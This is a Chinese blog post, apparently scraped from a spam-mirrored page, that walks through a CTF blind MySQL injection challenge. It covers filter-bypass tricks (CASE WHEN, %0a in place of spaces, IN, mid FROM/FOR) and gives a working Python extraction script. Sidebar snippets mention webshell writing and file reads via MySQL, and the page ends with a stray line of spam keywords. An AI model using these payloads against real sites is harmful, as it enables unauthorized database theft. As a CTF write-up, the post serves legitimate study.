<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    記一次MySQL注入繞過

    VSole2021-10-07 17:19:49

    SQL注入類型判斷

    某朋友比賽中讓幫忙看的一道題目,如下

    查看源碼發現提示

     

    存在過濾且,limit參數只能為單個數字 fuzz一下sql注入關鍵字看看都過濾了哪些字符 

    直接在class參數插入exp(100)回顯正常,插入exp(1000)發現返回database error;說明此處sql注入可直接插入執行,其次如果sql語句執行錯誤會返回報錯提示;

    繞過

    那么就可以做布爾盲注了,但是比較棘手的是過濾了逗號,;不能使用if進行條件判斷;繞過逗號的方法from x for y不能在if中使用。if無法使用可以用case when [express] then [x] else [y] end代替空格繞過可以使用括號()或者%0a=、like、regexp被過濾可以用in(不過in對字符大小寫不敏感)

    class=case%0awhen%0a(2)in(1)%0athen%0aexp(1000)else%0a1%0aend&limit=4
    

    利用腳本編寫

    from urllib.parse import urlencodefrom urllib.parse import unquoteimport requests
    burp0_url = "http://123.60.32.152:80/"burp0_headers = {"Content-Type": "application/x-www-form-urlencoded"}all_str = "0123456789abcdefghijklmnopqrstuvwxyz!\"#$%&\\'()*+,-./:;<=>?@[\\]^_`{|}~"
    flag = ''for leng in range(1,50):  for char in all_str:    payload = "case%0awhen%0amid(database()from({})for(1))%0ain%0a(0x{})%0athen%0aexp(1000)%0aelse%0a1%0aend".format(leng, hex(ord(char))[2:])    #payload = "case%0awhen%0amid((select%0aflag%0afrom%0aflag)from({})for(1))%0ain%0a(0x{})%0athen%0aexp(1000)%0aelse%0a1%0aend".format(leng, hex(ord(char))[2:])    burp0_data = {"class": unquote(payload), "limit": "4"}    resp = requests.post(burp0_url, headers=burp0_headers, data=urlencode(burp0_data))    if 'error' in resp.text:      flag += char      print(flag)    else:      continue    # print(resp.text)    # print(resp.request.body)
    

    到數據名稱:babysql 直接按照前面的提示查flag

    mysql
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    復現 Mysql LOAD DATA INFILE 讀取客戶端任意文件漏洞
    MySQL + JSON = 王炸!!
    2022-08-13 17:12:02
    關系型的結構化存儲存在一定的弊端,因為它需要預先定義好所有的列以及列對應的類型。當然,很多同學在用 JSON 數據類型時會遇到各種各樣的問題,其中最容易犯的誤區就是將類型 JSON 簡單理解成字符串類型。
    并且在 MySQL 執行完畢之后,還能拿到執行結果,如果執行出錯,也要能拿到 MySQL 拋出的錯誤。而負責上述邏輯的,我們稱之為驅動,Python 里面的 MySQL 驅動最常用的就是 pymysql,這是一個同步驅動,異步驅動的話則是 asyncmy。
    MYSQL和PG是影響力最大的兩個開源關系型數據庫,這些年來圍繞這二者誰更好的問題,一直是十分激烈的。不過在美國的最新統計,PG的市場占有率高達33%,反超了MYSQL的31%。
    MySQL的零拷貝技術
    2022-06-08 07:01:46
    Bbuffer 與 Cache 非常類似,因為它們都用于存儲數據數據,被應用層讀取字節數據。在很多場合它們有著相同的概念: 首先從翻譯上,Buffer應該翻譯為“緩沖”,Cache應該翻譯為“緩存”,兩個完全不是一個東西。 在硬件這一層看,Buffer應該為內存,Cache為CPU集成的告訴緩存。 Buffer為了讓不同速度的設備能夠同步,建立的一個緩沖區域,寫進Buffer的數據是為了從中
    0x01 前言 之前偶爾會遇到站庫分離數據庫不出網&沒有Webshell的情況,只有一個可以執行命令的shell,這種情況下如果想進行橫向只能通過數據庫來落地我們的工具。 注:文中只是為了演示數據庫如何落地exe,可能部分環境過于理想化,在實戰中很難遇到。 0x02 模擬環境 模擬環境:Windows+Mysql 5.7.26,web目錄沒有寫入權限,但是對lib/plugin有寫入權限,
    我們都知道 InnoDB 在模糊查詢數據時使用 "%xx" 會導致索引失效,但有時需求就是如此,類似這樣的需求還有很多,例如,搜索引擎需要根基用戶數據的關鍵字進行全文查找,電子商務網站需要根據用戶的查詢條件,在可能需要在商品的詳細介紹中進行查找,這些都不是B+樹索引能很好完成的工作。
    MySQL寫馬詳解
    2022-01-17 06:19:50
    MySQL寫馬詳解
    空格可以由其它字符替代 select id,contents,time from news where news_id=1①union②select③1,2,username④from⑤admin 位置① 可以利用其它控制字符替換空格:%09,%0a,%0b,%0c,%0d,%20,%a0 可以利用注釋符號替換空格:/**/、%23test%0d%0a、 —+a%0d%0a 可以利用數學運算以及
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类